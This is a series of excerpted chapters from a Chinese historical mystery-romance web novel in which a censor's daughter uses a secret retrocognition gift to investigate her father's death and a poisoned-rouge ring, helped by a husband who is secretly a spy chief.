《证物说,夫君有马甲》 1. 伸冤 《证物说,夫君有马甲》全本免费阅读 雪一直下。 林雪意在雪地里拼了命地跑。 此时天色蒙昧未明,四下里一片沉寂,仿佛所有的声音都已经被这场下了数日的大雪覆盖。 因此,从不远处传来的粗大嗓音也格外清晰—— “站住!老实跟我回去,还能少挨些打!” 心肺被冰凉的空气刺得生疼,林雪意脚下一个踉跄跌在雪地上。 身后传来急促的脚步声,她惊惶回头,就见那个已经追了她一路的健壮男子已经在几步之外。 “你别过来!”林雪意的心提到了嗓子眼,“我、我可是御史之女。你要是敢动我,明远候府也不会放过你的!” 她原本面容精致,此时却毫无血色,白得像一只幽灵,一双沉黑的眼睛警惕地盯着男子。 胡子拉碴的男子啐了一口,嗤笑道:“你当我傻呀?你爹死在青楼的事刚传出来,明远候府就把你赶出来了。出了这等丑事,哪个好人家还敢要你?” 发现无法蒙混过关,林雪意心中狠狠一沉。她努力想要爬起来,却被对方一把拽住了脚踝。 “别动逃跑的心思,是你二叔要将你卖给我还赌债,你跑得了和尚跑不了庙!” 林雪意只觉得心脏被揪紧了,脑袋里嗡声一片。她也不知道自己哪来的力气,抬手拔下发间素簪对着男子的手臂就是狠狠一戳。 “啊!”对方吃痛松手,眼神却越发凶狠。 林雪意挣扎着爬起来,余光匆匆瞥一眼四周,吸了一口凉气往皇城的方向跑去。 家里已经不安全,这里离衙门又太远,她只能赌一把,往皇城跑。那里守卫森严,如果能在那附近遇上巡逻的卫队,她还有机会求救。 眼看前方拐过去就是皇城入口,林雪意正感到庆幸,却不料在转弯时蓦然撞上高耸的木架,整个人都被撞倒在地上。 她本就身体孱弱,仓皇的奔逃让她几乎力竭,胸口更是痛得快要裂开。眼看那个壮汉又赶了上来,她心中不由鼓声大作。 有什么东西从头顶上方掉下来,落在她面前发出沉闷的声响。 借着微微转白的天色,林雪意看清了掉在她跟前的东西——那是一根鼓槌,而方才她撞上的便是矗立在雪中的登闻鼓。 林雪意心念急转,咬牙抓起鼓槌,扒着鼓架站起来,扬手击向登闻鼓。 “民女有冤!民女欲状告京兆尹李铎玩忽职守,致使家父蒙受不白之冤,求圣上明察!” 隆隆鼓声如午夜惊雷,穿透了纷扬大雪,打破了皇城的寂静,也惊醒了在雪中沉睡的晋京。 状告朝廷命官非同小可,林雪意很快就被殿前侍卫带上了金殿。 金殿上满是文武百官,却安静得针落可闻,仿佛连空气都被外头的风雪冻住了,让人感到呼吸困难。 林雪意走在偌大的金殿中,却只觉得像是走在摇摇欲坠的独木桥上。离前方龙椅上的人越近,她心里的那根弦绷得越紧。 但她却知道此时不能露怯,在晋帝面前端正跪下,语声清脆如落雪:“监察御史林泽远之女林雪意,拜见陛下!” 她的话就像投进湖心的石子,四下里的窃窃私语就如湖面上泛起的水波,不偏不倚地传进她耳中。 “竟是林御史的女儿。可林御史是在群芳阁寻欢猝死,眼下京城谁人不知?真是伤风败俗!” “你也不想想,能将女儿嫁入明远候府的人,能是什么好人?晏世子那可是出了名的二世祖,听说也瞧不上她……” 听到为人清正的父亲被如此议论,林雪意悄悄收紧了藏在袖中的手,指甲嵌进掌心的疼痛提醒着她不能被这些闲言碎语激怒。 她越是愤怒,就越是会让人觉得自己是被戳中了痛处,是恼羞成怒口不择言,她只有表现得冷静如常,她讲的每一句话才有可能被认真看待和考量。 “陛下,家父昨日横死群芳阁,其中疑点重重,京兆尹李铎查验马虎,草草结案,求陛下圣裁决断,主持公道!” “启禀陛下,臣有言要辩。”群臣中有一人应声出列,面有愠色,正是京兆尹李铎,“陛下,此案乃是微臣亲自审理,人、物、尸证在衙门文卷上均有记载。此女所言,纯属诬告!” 晋帝低沉的声音从头顶传来,不怒自威:“林雪意,林御史一案,京兆府已经查明。你可知,诬告朝廷命官,该当何罪?” 林雪意闻言心中一凛。 晋帝此言,显然是向着李铎的。 她听父亲说过,李铎乃是晋帝宠妃的胞兄,在朝中正是炙手可热的人物。她本该徐徐图之,可眼下已经是箭在弦上,不得不发,找到李铎渎职的证据,是翻案的唯一机会。 她面上却不动声色,向下一拜,道:“诬告之罪,当杖一百,流放边地。民女请求与李大人对质,若真是民女错怪,民女甘愿受罚。” 她绝不是凭空揣测。 她十分确定父亲是枉死,但是其中曲直她却不能直言,否则将难免一场杀身之祸。 “也罢,偏听侧暗,那便准你们当堂对质。”晋帝这话听不出喜怒。 那头李铎得了令,这才冷脸看向林雪意,投来的目光中不无倨傲:“我亲自验看过林御史与芸娘的尸身,他们一无外伤,二未中毒,屋中并无挣扎打斗迹象,尸体也没有移动痕迹,且他二人皆是衣衫不整,不是猝死是什么?你一介妇人,头发长见识短,休要胡搅蛮缠!” 林雪意知道李铎是在暗讽她形容狼狈,却不肯被他转移重点,一双明亮杏眼直望着他:“既然两人身上都无外伤,那李大人可否告诉我,为何家父的手上会有血?” “真是一派胡言!我分明……”李铎怒气冲冲地反驳,却猛然一哽,转了转眼珠,道,“我分明没见到过什么血。” 林雪意没有漏掉李铎的神色变化,心中惊涛骇浪。 李铎的反应已经告诉她,他知情! 父亲的死状并不安详,他连眼睛都没合上,是死不瞑目。她对父亲的死因起疑,所以才用了曾经听父亲说过的验尸之法。 “李大人,家父的手看上去干净,但洒过酽醋之后,指甲上却显出血迹来,这足可说明家父手上曾经沾过血!” 林雪意此话一出,四下哗然。 再看李铎,面上明显出现犹疑不安之色。她不等李铎再说,向晋帝道:“陛下,家父尸骨未寒,停灵未葬,只要再派仵作查验,便知民女并无虚言。” 见晋帝的脸色微不可察地一沉,林雪意便猜想他心中已经起疑,果然就听他不悦地质问道:“李铎,这是怎么回事?” 片刻之前还言之凿凿的李铎登时说话磕磕绊绊起来:“圣上息怒。仵作验尸,并未言明。臣……臣也是想着死者为大,顾及林大人的名声才、才疏忽了。” 李铎这话可正中了林雪意下怀,她朗声道:“陛下,既是仵作查验疏漏, 2. 翻案 《证物说,夫君有马甲》全本免费阅读 然而,镜子里映出的,除了她一张因恐惧而扭曲的脸外,再无其他。 画面戛然而止,林雪意的视野变得一片黑暗。 芸娘果然是在上妆时死的。 无论是从芸娘的尸体上看,还是从她追溯的场景中看,芸娘都是被吓死的。 但是那场景里只有芸娘一人,她是如何无端被吓死的? “林姑娘?” 王太医正想请林雪意一同出去,林雪意眼前的暗影也已经消散殆尽。 她回过神来,心下已经有了主意:“王大人,我看她面上涂的胭脂不像是市面上的寻常胭脂,或许是一条线索。大人可否取些胭脂来验一验?” “取胭脂倒是不难,查验成分需待老夫回一趟太医院。”王太医说着用工具从芸娘脸上蘸取一点胭脂,出了帐篷。 林雪意也并不到帐篷外等候结果,而是继续留在里面。等到王太医的脚步声远去,她再次朝芸娘的脸伸出手,凝聚精神去看。 走马灯再次飞快旋转,方才芸娘上妆的那段画面匆匆而过,等虚影渐渐清晰的时候,林雪意看到的又是另外一副光景了。 这一次出现在她视野里的,除了芸娘,还有一人。那人体态有些臃肿,脸如圆盘,满头插翠,看着像是群芳阁的鸨母。 两人似乎起了争执。 林雪意并不能听到她们在说什么,只见芸娘蹙眉看着老鸨,好像是在质问些什么。 老鸨的神情倒是显得怠慢,从上到下打量芸娘,不紧不慢地说了几句话。她的手上正拿着一盒胭脂,看胭脂盒上的百合纹样,正是芸娘死前用的那一盒。 接着芸娘气恼地将几块碎银放进老鸨摊开的手中,从她另一只手上取走了胭脂,忿忿地转身走了。 一股强烈的眩晕感席卷而来,林雪意眼前的虚影陡然消散。她只觉得双腿一软,差点直接跌在地上。她勉强踱到帐篷一角靠坐下来,已是出了一身冷汗。 方才连续两次动用回溯的能力,竟是有些吃不消了。 帐篷从外面被掀开,去而复返的王太医看到林雪意的样子吃了一惊,连忙去扶她:“林姑娘可是身体不适?怎么脸色如此难看?” 林雪意摇摇头,慢慢站起来,道:“不过是一点旧疾罢了,并不碍事。大人查验得如何了?” 王太医闻言皱眉,道:“说来也怪,这胭脂除了寻常胭脂的原料,还有一些老夫验不出的成分,以及……几味药物。” “何种药物?”林雪意追问。 “天仙子、马钱子、曼陀罗。”王太医一一列举,脸色并不好看。 林雪意心中微微一沉。 医毒本是一家。她曾看过父亲研读的一些案卷,所以即便她不是很懂药理,也知道这几味药物用得轻尚可治病,可若是使得重,就是能致人死命的毒药。 “大人,寻常用这几味药,若是剂量过大,会有何症状?” “轻则致幻,重则使人癫狂。”王太医的语气转为严肃,但其中又有一丝疑惑,“可是就我查验的情况看,胭脂中这些药的用量极少,还不至于夺人性命。” “那……”林雪意想到了另一种情况,心头直跳,“若是小剂量长期使用呢?” 王太医的捋了捋花白的胡须,看向芸娘尸身的眼神逐渐凝重,“那可就性命难保了。” 林雪意只觉得此前脑海中闪现的许多片断顿时被拼凑起来,就如纷乱的丝线顿时被捋直了一般,答案已在她心底清晰可见。 她和王太医收拾停当后回到了金殿上。 这头王太医行事干脆,一五一十地将验尸结果禀告给晋帝,那头京兆府李铎的脸色便不太好。 金殿上越发安静了,几乎能听见殿外雪花落地的声音。文武百官,没有一人敢贸然开口。 林雪意却不怕,径直道:“陛下,既然芸娘身上没有伤口,那么家父的死便是另有隐情。” “陛下。”李铎仓皇下跪,语气中早已没有了之前的趾高气扬,“衙门仵作验尸草率,属实是臣御下不严。臣自知难逃渎职之罪,只求陛下让臣将功补过,臣定彻底重查此案,还林御史一个公道。” 这李铎面上是请罪,林雪意却看得出,他是在给晋帝台阶下。一旦这案子重新回到李铎手中,那父亲就无沉冤昭雪之日了。 “陛下!”林雪意不等晋帝说话便重重跪下,叩头道,“民女还有一事。” “何事?”晋帝的声音里透着些疲惫,似乎不愿意再深说下去。 “民女知道家父前日去群芳阁所为何事。” 晋帝抬眼看她,不知在想些什么:“哦?” “家父前几日曾对民女提起过,他查到群芳阁贩卖毒胭脂,欲找机会微服私访。家父还说,这种毒胭脂致幻,依民女之见,芸娘正是死于这种毒胭脂。求陛下立查此事,否则只恐凶徒逃脱。” 林雪意语声落毕,四下哗然。她听见有人说她危言耸听,有人说她妄加揣测,也有人说事关民生,不可马虎。 “你方才怎么不说?”晋帝目光锐利,打量林雪意的眼神像是要将她看穿。 “回陛下,民女此前只是心有猜测,不敢妄言,也怕请命无果,打草惊蛇。眼下有太医的验尸结果为证,与家父所说并无二致,民女才斗胆启奏。” 林雪意再次叩头,久久伏地,让人看不到她脸上的神色。 其实父亲并未跟她提过关于群芳阁或是毒胭脂的任何事,她是从自己几次回溯看到的场景以及王太医的验尸结果中推断出来的。 父亲在群芳阁被害,显然是跟那胭脂有关,而那胭脂又导致了芸娘的死亡。 此间联系,已经再清楚不过,父亲正是因为发现了那毒胭脂前去探查才遭了毒手。 可是她不能将自己的能力公之于众,否则,案子无法查清不说,她还会被当成一个疯子,背上欺君的罪名。 “查。”晋帝冷冰冰的一字落地,金殿上顿时鸦雀无声,人人噤若寒蝉。 即便林雪意只是一介平民,也知道这意味着什么。 晋帝只说查,却没有明着派什么人去查,就是在向匿于暗处的暗探下命令。 那是只有晋帝知道,并且也只听命于晋帝一人的暗探队伍——绣衣署。 他们似乎武艺极高,就连出入层层把守的军营都如入无人之境,甚至曾经有暗探在两军交战之时,于光天化日之下直取了敌军将领的首级,却没人看得到他的身影。 因此,虽然朝中无人不知绣衣署,却也从未有人见过那些暗探的真面目。 约莫过了一刻钟,晋帝身旁的内侍便退到殿后,不消片刻又捧着一本册子过来,在晋帝耳边低声说了几句。 林雪意看着那册子隐约是一本账本,就见晋帝接过账本翻看,脸色越来越沉,最后将它重重拍在案上,怒 3. 纨绔 《证物说,夫君有马甲》全本免费阅读 “金梁桥方向走水!快!通知防隅军扑火!” 林雪意刚从皇城宫门出来,就听见不远处的观火台上的士兵匆匆传讯。 她心下一惊,抬头看去,果然就见暗沉的天色下,金梁桥方向的的上空浓烟滚滚。 金梁桥附近,不就是群芳阁所在? 林雪意心中顿时有不好的预感,她顾不得去御史台报到,抓着从晋帝处拿到的群芳阁账本便向起火的地方跑去。 大雪连下数日,无论是街道还是房屋都满是潮气,但是浓烟中的楼宇却被烈焰团团包围,灼热的温度逼得人无法接近。 林雪意喘着气在金梁桥边停下,望着面前被熊熊大火吞噬的群芳阁,抓着账本的手不由攥紧。 她翻看过群芳阁账本,上面记录了毒胭脂的购入和卖出情况,以及一些打点的费用,但却没有列出供货方的名字,只用一个“井”字代替。 她原打算到群芳阁探个究竟,可它却在这个时候走水了。 这火来得过于巧合。 群芳阁的火势十分迅猛,饶是外头已经有许多闻讯赶来的人在救火,却无法将其扑灭。这么大的火,她却未曾从群芳阁里听见一丝半点的哀嚎和惨叫。空气中散发着一股古怪的焦味,让人胃里翻涌。 恐怕里面的人,在着火之前,就已经死了。 到底是什么样的人,能够这样视人命如蝼蚁?又是什么样的人,能够做到这般无视法度,赶尽杀绝? “不论你是谁,我一定会抓住你!” 林雪意忿忿转身,却冷不防撞到一个人。那人惊呼出声,手中的东西也掉落在地上。 她连忙俯身想要帮忙,却在看清那样东西的时候浑身一凛——那是一盒胭脂,铜质盒盖上印有百合纹样。 这胭脂看上去,竟是跟芸娘的那盒一样! 一只手比她更快地将拿胭脂捞了起来,林雪意的目光追着那胭脂,起身看清那人后不由怔住。 此人竟是她的二婶王氏。 “林雪意?”王氏见到她也是一愣,但她很快就反应过来,狐疑地打量着她,“你怎么会在这里?” 林雪意敛去眼底讶然,微微一笑:“那二婶您觉得,我应该在哪里?” 父亲年轻时就跟祖父分了家,并且与那赌徒二叔十分不睦,所以林雪意跟王氏算不上熟悉,只知道王氏泼辣刻薄,并不是个好说话的。 若是换了平时,王氏见到她这满身狼狈的样子肯定要讥诮她几句,今日她却反常得很,只翻翻白眼便要转身离去。 事出反常必有妖,更何况她手中有那盒胭脂。 林雪意当即拦在了她面前,道:“二婶,你刚才那盒胭脂可否让我看看?” “我自己买的胭脂,为什么要给你看?”王氏有些不耐烦。 “二婶,我见过群芳阁里的姑娘用的胭脂,同你那盒一样。”林雪意边说边打量王氏的神色,见她眼底闪过一丝慌乱,便知她与此事不是全无关联,故意激她道,“现在群芳阁着火了,你该不会是趁火打劫吧?” 王氏闻言面露怒容,骂道:“死丫头,你可休要胡说八道!我们清白人家,怎么会跟那些青楼妓子有瓜葛?” “有没有瓜葛,只要我报官,一查便知。”林雪意冷笑道。 “你怎敢如此大逆不道?”王氏脸上浮现难以置信的神情,眼里腾腾的直冒火。 “我大逆不道?”林雪意神色委屈,眼眶也红了,“我爹遭难惨死,二叔却想将我卖了,你们才真的是丧尽天良!” 周围被群芳阁着火吸引过来的人本来就多,此时两人这么一争执,很快就有人围过来看热闹,听到林雪意所说,开始对理亏的王氏指指点点起来。 王氏显然是心虚了,强压怒气,皮笑肉不笑地对林雪意套近乎:“外甥女啊,不就是一盒胭脂吗?你买不起,婶子送你便是了,何必说那些话伤感情的呢?你二叔那是酒喝多了胡说八道呢,你可别当真。” 她一面说着一面将方才那盒胭脂塞进林雪意手里,林雪意自然不会拒绝,莞尔一笑:“那就谢谢二婶了。” 看热闹的人渐渐散去,王氏剜了林雪意一眼,气恼离去。 林雪意端详手中那盒胭脂,确实与芸娘那盒是同一款。指腹摸到胭脂盒底部的凸起,她翻过来一看,发现上面赫然刻着一个“井”字,与那账本上的一模一样! 她握紧了手中胭脂,凝神看去,眼前的景象顿时像笼了一层雾。在模糊不清的视野中间,这盒胭脂逐渐清晰起来,正被笼在一名穿着轻薄纱衣的女子手中。 那女子悄悄推开黑暗中的一道小门,外头惨淡的光线幽幽照进来,显出小门外一道鬼鬼祟祟的身影,那人竟是王氏。只见王氏给了女子一些银子后取了那盒胭脂,在渐亮的天色下匆忙离开。 回溯的场景消散,林雪意不禁拧起了眉头。 看来王氏这盒胭脂确实是来自群芳阁,却不知群芳阁的胭脂又是来自哪里。 她心中一动,再次握紧了胭脂,眼前景象再次如走马灯变幻。 这次她看到的是一条僻静的小巷,在一个不起眼的木门处有几个伙计打扮的人正进进出出,将一些布匹堆放在一辆简陋的马车上。其中一人不小心撞到了布匹边上的木箱,那木箱掉在地上,箱盖被震开,里头的胭脂就散落出来…… 熟悉的眩晕感再次袭来,林雪意努力辨认画面中的景象,隐约在那些人身后的角落里看到了一口井。 视野陡然转变为当下,林雪意胸口一滞,但她却无暇休息。 账本、胭脂、群芳阁、井、布匹……这些事物快速地在她脑海中连成了一条线。 账本上的“井”字指代的就是她在回溯画面里看到的那个地方,是他们向群芳阁提供了毒胭脂,那里看上去像是一间布庄。晋京中的布庄大大小小共有数十家,但那一家背靠窄巷,该是一间小布庄,看房屋布局应是在城东一带。 她即刻去往城东,沿途打听之下,还真的找到了那条角落有一口井的巷子。 此处房屋稀少,巷中积雪无人清扫,积了厚厚一层。 林雪意深一脚浅一脚地踩进去,循着记忆中的画面在一道木门前停住。她试着推了推,门竟然并未上锁,吱呀一声便打开了。 外头在断断续续地下雪,因此院子里并没有人,只有重重布料挂在架子上随风摇曳。主人家似乎并不在这些布料,任它们在外头饱经风雪。 林雪意放轻脚步,小心穿过这些布帘,走进了尽头一间光线昏暗的屋子里。 屋子的角落里放着几口染缸,里面装着颜色暗沉的染料,像是弃置已久一般。几面靠墙的位置堆放着十来个石臼,装有各色花瓣的木桶以及一些已经成形的香粉。 屋子里弥漫着一股古怪的气味,刺鼻中又泛着一股粘稠的甜香。林雪意只觉胸口气闷,蹙起眉头寻找气味的来源。 最终,她的视线落在一口盖了盖子的染缸上。其他 4. 夫君 《证物说,夫君有马甲》全本免费阅读 “你放我下来!”林雪意本能地想挣脱男子,但他却纹丝不动,一双手稳稳将她托住,落在她脸上的目光中有三分戏谑,三分得意,三分故作的深情,以及一分不知缘何的无奈。 “意娘,看在为夫亲自来寻你的份上,别跟为夫置气了可好?”他软下带着磁性的语声哄着,却也并不等林雪意回答,轻抬眼睫冲掌柜点了点头。 对方这么称呼自己,该是知道自己名字的,林雪意更加肯定了心里的想法,看向男子的眼神越发锐利起来:“你到底是谁?” 男子却置若罔闻,在掌柜万分恭敬的目光中将她抱出了院子。走出离布庄有一段距离后,他才终于将她放下了。 “登徒子!”林雪意扬手就是一个清脆的耳光。 一丝惊愕从对方眼底闪过,但旋即就被散漫的笑意所取代。他摸一下被打的那边脸,挑眉看着林雪意:“如果本世子没记错,你怎么都该叫我一声夫君?” “世子……”林雪意听到这个称呼不由微蹙眉头,一个模糊的念头在脑海中转了两转,很快便清晰起来。 她投向男子的视线骤然又冷了几分,一个让她咬牙切齿的名字从洁白的贝齿间挤出来:“晏返?” “是我。”对方施施然应到。他被林雪意充盈怒意的目光打量着,脸上却没有半点心虚的神色。 林雪意恨得牙痒痒。 明远候世子晏返,她名义上的夫君,成婚当天跑到青楼喝了个烂醉,她与他成婚十日,今日才得见真容,真是好得很! 更讽刺的是,昨日父亲出事的消息传来后,明远候府的老太太不分青红皂白地将她赶出了侯府,彼时她走投无路,可他还在外头花天酒地。 若不是父亲同明远候定下的娃娃亲,她根本不会嫁给这个晋京中无人不知的纨绔! 林雪意按下心头怒火,冷声道:“晏世子,明远候府我高攀不起,还请晏世子不要忘了修一封和离书。” 她说完欲走,晏返却挑眉逼近一步挡住她的去路。 他生得挺拔,轻轻一俯身,身体投落的阴影便将身形单薄的林雪意如小鸟一般牢牢罩住。 他觑着她无甚血色的脸,语气轻佻:“和离?林雪意,你当了监察御史便这般威风了么?我要是你,就该好好想想,是做一个芝麻官被推到风口浪尖好,还是继续待在侯府,做锦衣玉食的世子夫人好。” 他一双星目本来生得极好看,沉黑的眸子仿佛点染了星辉一般亮闪闪的,可眼底却噙着毫不掩饰的傲慢。 “够了!”林雪意气得发抖,隐忍了一早上的忐忑、惊疑、委屈、怨怼全都在此刻失了控制,嵌在纸白面庞上的泛红眼眶像是下一刻就要滴出水来,“我非趋炎附势之辈,更非贪生怕死之徒!我跟你已经毫无瓜葛,别挡我的路!” 她用力推开晏返的手臂从他身侧穿过,匆匆朝刑部的方向走去。现在不是跟这混账算账的时候,既然已经找到制造毒胭脂的地方,当务之急是请刑部拿人。 晏返看了一阵林雪意的背影,直到她消失在巷子的另一头,才不着痕迹地瞥了一眼手臂。 金线织就的衣袖底下,一层殷红血色已隐隐透出。 “少夫人下手也太重了些。” 身侧突然响起护卫墨云的声音,宴返却丝毫不惊讶他突然冒出来这件事,只淡淡道:“不关她的事,是我一时大意,着了杀手的道。” 他面容俊美,衣着奢华,与片刻之前并无不同,可在眼下四下无人之时,偏是整个人都沉静下来,如深林古柏,周身泛着一股冷冽,与方才判若两人。 “他们的去向查到了吗?” 墨云的脸色沉了沉:“绣衣署传来消息,十三人皆服毒自尽。” “果然是死士。”宴返对此并不是很意外。 人人都知道他是明远候府世子,但他绣衣署暗探首领的身份,却是连他老子都不知道的。 今日林雪意上金殿时,他就在晋帝身后的屏风之后。 晋帝听了林雪意那番话授意他去群芳阁探查,他赶到群芳阁还是晚了一步,群芳阁已遭杀手血洗。那是一群亡命之徒,与他缠斗好一阵才放弃遁逃,留下了群芳阁鸨母的一口气。鸨母把账本交给他之后便咽了气,并未留下关于幕后之人的只字片语。 “既是如此……”墨云迟疑了一下,打量着晏返脸色,问,“少夫人查案定然危险重重,您作何打算?” 晏返冷笑一声,扫过长巷深雪的视线看向林雪意方才离开的方向,道:“除了跟着她,还能怎样?” 墨云自小便跟着晏返,对主子的脾性还算了解,听出言外之意不由眉头微皱:“是圣上的意思?” 晏返不置可否,只道:“此事非同小可。” 回想起不久前在群芳阁的那场恶战,他垂着的目光不由得深了。 那群杀手穷凶极恶,下手狠辣不说,光是敢在光天化日之下闯入群芳阁行凶,便知背后的势力不可小觑。可他今日却听见某人信誓旦旦地说要承父亲遗志,简直天真得可怕。 晋帝明面上让林雪意查这个案子,暗中也给绣衣署下了命令。正好自己如今是林雪意名义上的夫婿,晋帝让他以这层身份一同调查,林雪意在明,他在暗。 呵,表面上是派他保护林雪意,实际上又何尝不是让林雪意当他的箭靶? 他虽没见过她几面,却也看得出她是个病秧子。这样迎风欲倒的人,若真是被卷入其中,怕要被啃得连骨头渣都不剩。 “您是想让少夫人知难而退。您既然关心少夫人,又为何要将她气走?”墨云问。 这话问得猝不及防,宴返闻言一口气梗在胸口,猛烈咳嗽了好一阵才停住。他没好气地横过去一眼,道:“你哪只眼睛看到我关心她了?” 墨云连忙低头:“您很久没受伤了……属下以为,关心则乱。” “……”宴返知道墨云虽然武功不低,但是说话却是一根筋,也懒得再同他耍嘴皮子。 稍停了片刻的雪又开始纷纷扬扬落下来,他的视线穿过琼珠碎玉般的雪花看向巷口,动身往巷子外走去。 “世子要去哪儿?”墨云以为宴返真的生气了,展开手中的伞急急跟上。 宴返略微低沉的声音就如迎风飘散的雪,散漫的语调中带着一抹微凉的轻嘲—— “这会儿她也差不多见到姓朱的老油条了,是时候去刑部看看了。” · 另一头,林雪意在刑部大堂等了有一炷香的功夫,刑部的朱尚书才从里面出来。 她不待寒暄便直言道:“朱大人,我已查到毒胭脂出自一家布庄,还请朱大人助我一臂之力,派兵缉拿犯人。” 朱尚书布满褶皱的眼睛一眯,捋了捋胡须,道:“林小御史,非是老夫不肯帮忙,只是这刑部派兵需讲究证据,切不可草率,行扰民之事啊。” “朱大人,这便是证据。”林雪意说着取出从王氏那儿得来的胭脂,又拿出账本给他看,“这是那家布庄暗地里售卖的胭脂,其上标记跟这账本上的一样,可见正是他们向群芳阁出售了毒胭脂。” 那头朱尚书却并不细看,只是瞥了一眼,说:“账本上面是一个‘井’字,这‘井’字含义诸多,不可牵强附会。再者说,这到底是不是毒胭脂,还需要先经郎中查验,急不得, 5. 撑腰 《证物说,夫君有马甲》全本免费阅读 林雪意看他的眼神清清冷冷的,对方却像是没发觉她的冷淡一般,眼底堆着笑走过来,问:“夫人?你怎么也在这里?” 一听这话,徐师爷的身体又是一僵,往屋里走的脚步都变快了。 林雪意暗暗翻了个白眼,心中骂晏返明知故问,正以为他接下来会嘲讽她,却见他径直解下了自己的白狐裘,大手一扬就披到了她肩上。 林雪意只觉得他这般无端献殷勤诡异得很,伸手想要推开,却被他不轻不重地拢住了手。 微烫的温度从指尖漫过来,他放柔了的微沉语声紧随而至:“夫人,天寒地冻,小心着凉。若是冻坏了身子,为夫该心疼了。” “你别假惺惺……” 林雪意话没说完,屋子里头就传来了匆匆的脚步声,紧跟着就响起了朱尚书洪亮的声音:“呵呵呵,晏世子,真是许久不见啊。” “朱尚书,本世子也是无事不登三宝殿,此番是有事要劳烦朱尚书啊。”晏返这才松开林雪意的手,对朱尚书拱了拱手。 “晏世子哪里的话,”朱尚书见晏返并不进屋,便也走到了厅前,热络道,“徐师爷都同我说了,那大胆小贼,本官定当拿下。只是……” 朱尚书说着顿了一顿,往林雪意这边看过来一眼,又道:“林小御史这边也正有案子,本官需要加派人手,还请世子稍安勿躁啊。” 林雪意闻言很是惊奇:“朱大人,您不是说那胭脂还需查验,不可草率扰民吗?” “呵呵,正所谓事急从权,林小御史你聪慧过人,老夫相信你的判断。”朱尚书擦了一把头上并不存在的汗,强笑道。 他先前冷待林雪意,并不只是因为他不把这个小女子放在眼里。 京城京官遍地,林雪意就算跟沿袭林御史的官位当上监察御史,也不过就是个七品官。他虽跟李铎交情不深,但李铎怎么都是李贵妃的胞兄,他何必为一个小御史鞍前马后而遭李贵妃猜忌呢? 可眼下却不一样了。他看晏返对他这夫人很是上心,可见什么明远候府把她赶出去的事,完全是子虚乌有。这晏返是明远候的独子,明远候夫妇对他极其宠爱,否则也不会把他纵成这般猫嫌狗憎的模样。 明远候此人可不简单,早年平步青云,居内阁首辅之位,虽然背地里素有卖友求荣的骂名,但他门生遍地,其中有不少才俊如今身居高位,是以他虽然早已辞官去了封地,在朝中的声望却一直不减。总之,明远候府可不是他能轻易得罪的。 此时林雪意已经回过味来,哪里还想不通朱尚书是忌惮明远候府的势力。她不免有些气恼,只是事有轻重缓急,她虽心怀不忿,还是道:“那就劳烦朱大人派人前去城东的隆记布庄。” 朱尚书连声应下,转而又问晏返:“晏世子,你要抓的贼人又是去了何处?” 晏返勾唇一笑,视线从林雪意苍白的脸上掠过,不疾不徐道:“巧了,正是隆记布庄。” 朱尚书这头刚将府兵派遣完毕,外头就有一名士兵匆匆跑进来,道:“大人,城东起火!” 林雪意心中一沉,那种怪异的感觉就如预感一般又袭上心头。 “墨云。” 林雪意听到晏返叫了护卫的名字,她错觉般感到他的语声跟先前有些微的不一样。再看那护卫身手十分了得,几个起落就出了院子。 晏返二话不说抓起林雪意的手腕就往外跑,行到门口时墨云已经拉着一匹黝黑骏马在外面等着。他抽出挂在脖子上的手,在纷扬的雪花中利落地翻身上马,然后俯身朝她伸出了手。 “林雪意,上来!” 林雪意心中焦急,顾不得多想便任由他将她拉上了马背。晏返一策缰绳,马就在街道上疾驰起来,林雪意坐在他身后猛一仰身差点摔下去,连忙抓住他衣物稳住身体。 两人很快就到了不久前的那条巷子,出现在他们眼前的,是一条仿佛要吞噬一切的火龙,盘踞在巷子里的几处民宅之上。 赶到的士兵已经跟周围的民众都在扑火,但熊熊火势却无法阻挡。 林雪意跳下马背,想要走上前却被一只手按住了肩膀。 “别去。你现在过去也于事无补。”晏返的声音从身后传来,语调出奇地平静。 “那便不管吗?”林雪意转头看他,映着火光的眼瞳黑白分明,眼周却像是因为烟气熏撩变得通红。 舔舐宅院的火焰灼烫,空气中弥漫着一股刺鼻的焦味,梁柱坍塌的声音中甚至还夹杂着低微的呼救声。她只觉得心脏被什么东西揪紧了,只能攥紧拳头来缓解心头的窒闷感。 她如果能再早一点,能再快一点,局面就不会变成这样,布庄不会被烧,周围那些无辜的人更不会被殃及。 晏返薄唇动了动,却终是没有说话。 等到火被扑灭已经是一个时辰之后。 布庄被烧了个干净,什么都没剩下。士兵开始清理废墟,一具具焦黑的尸体被放上担架抬出来。 林雪意循着记忆里的路线走进热气蒸腾的废墟四处打量,隐隐感到了不对——堆在屋子角落的几口染缸已有一些被烧裂,但还是能看出个大致的样子,因此她能确定,现在少了一口缸。 她鬼使神差地想起了那口装着暗红液体的染缸。 莫非不见的正是那一口? 她从一开始就不认为这场火是巧合,而是暗中有人为了掩盖什么,或许那缸中的液体就是关键。 布庄的人定是知情的,但是看火场的情况,不可能会有人生还了。 林雪意目光一黯,有点灰心地环视四周,视线却在墙角处凝住。只见几根焦黑的木头支在断壁上,周围散落着布片余烬,而底下的空隙里有黑色的一团,隐约是一个人影。 “快来人!这里还有人!”林雪意叫起来。 立刻就有士兵过来将木头清理开,里面果然有一个人,比起其他人体型更加圆胖,只是也已经死透了。 林雪意认出这便是她先前见过的布庄掌柜,心中却有疑惑缓缓升起。 死在这布庄里的人,似乎着火的时候都被关在这屋子里,因此有许多尸体是躺在进门处,可见起火之时他们还试图打开门出去。但是掌柜却是蜷在墙角,那里并无通往外界的缝隙,也无透气的窗口,他为什么会在那个地方? 这只可能有两种情况。一种便是他在起火前就已经被打晕,第二种便是墙角的位置对他而言有 6. 蹊跷 《证物说,夫君有马甲》全本免费阅读 原本晏返见她去碰那团从尸体嘴里拿出来的草,本想嘲她两句,却见她脸色越来越难看,最后竟是整个身子都软了下来,连忙俯身一接,将她捞进了怀里。 “世子,现在怎么办?”墨云问。 “洗手。”晏返直截了当。 “什么?”墨云怀疑自己没听清。 晏返一边将林雪意抱起来一边往外走,道:“我先带她回府洗手,那东西你该知道要怎么处理。” “是。”墨云持剑拱手。 他又看了一眼地上那团还带着些微唾液的赤色干草,回想方才主子嫌弃的眼神,一时竟有点拿不定主意,究竟要如何处理。 · 林雪意醒来的时候,天色已经微沉,她的神思有片刻的恍惚。 屋中的布置陌生中透着一股熟悉,点点灯火透过绘有四季风物的素纱屏风,投落柔和的光晕。拔步床上雕镂的精致花纹在灯光映照下,投落繁复的阴影。 心口的疼痛和脑袋的昏沉缓缓褪去,林雪意立刻警醒起来——这里是明远候府! 她立刻起身下床,还没走两步就觉得双腿一软,她险险扶住身边床架才没摔倒。 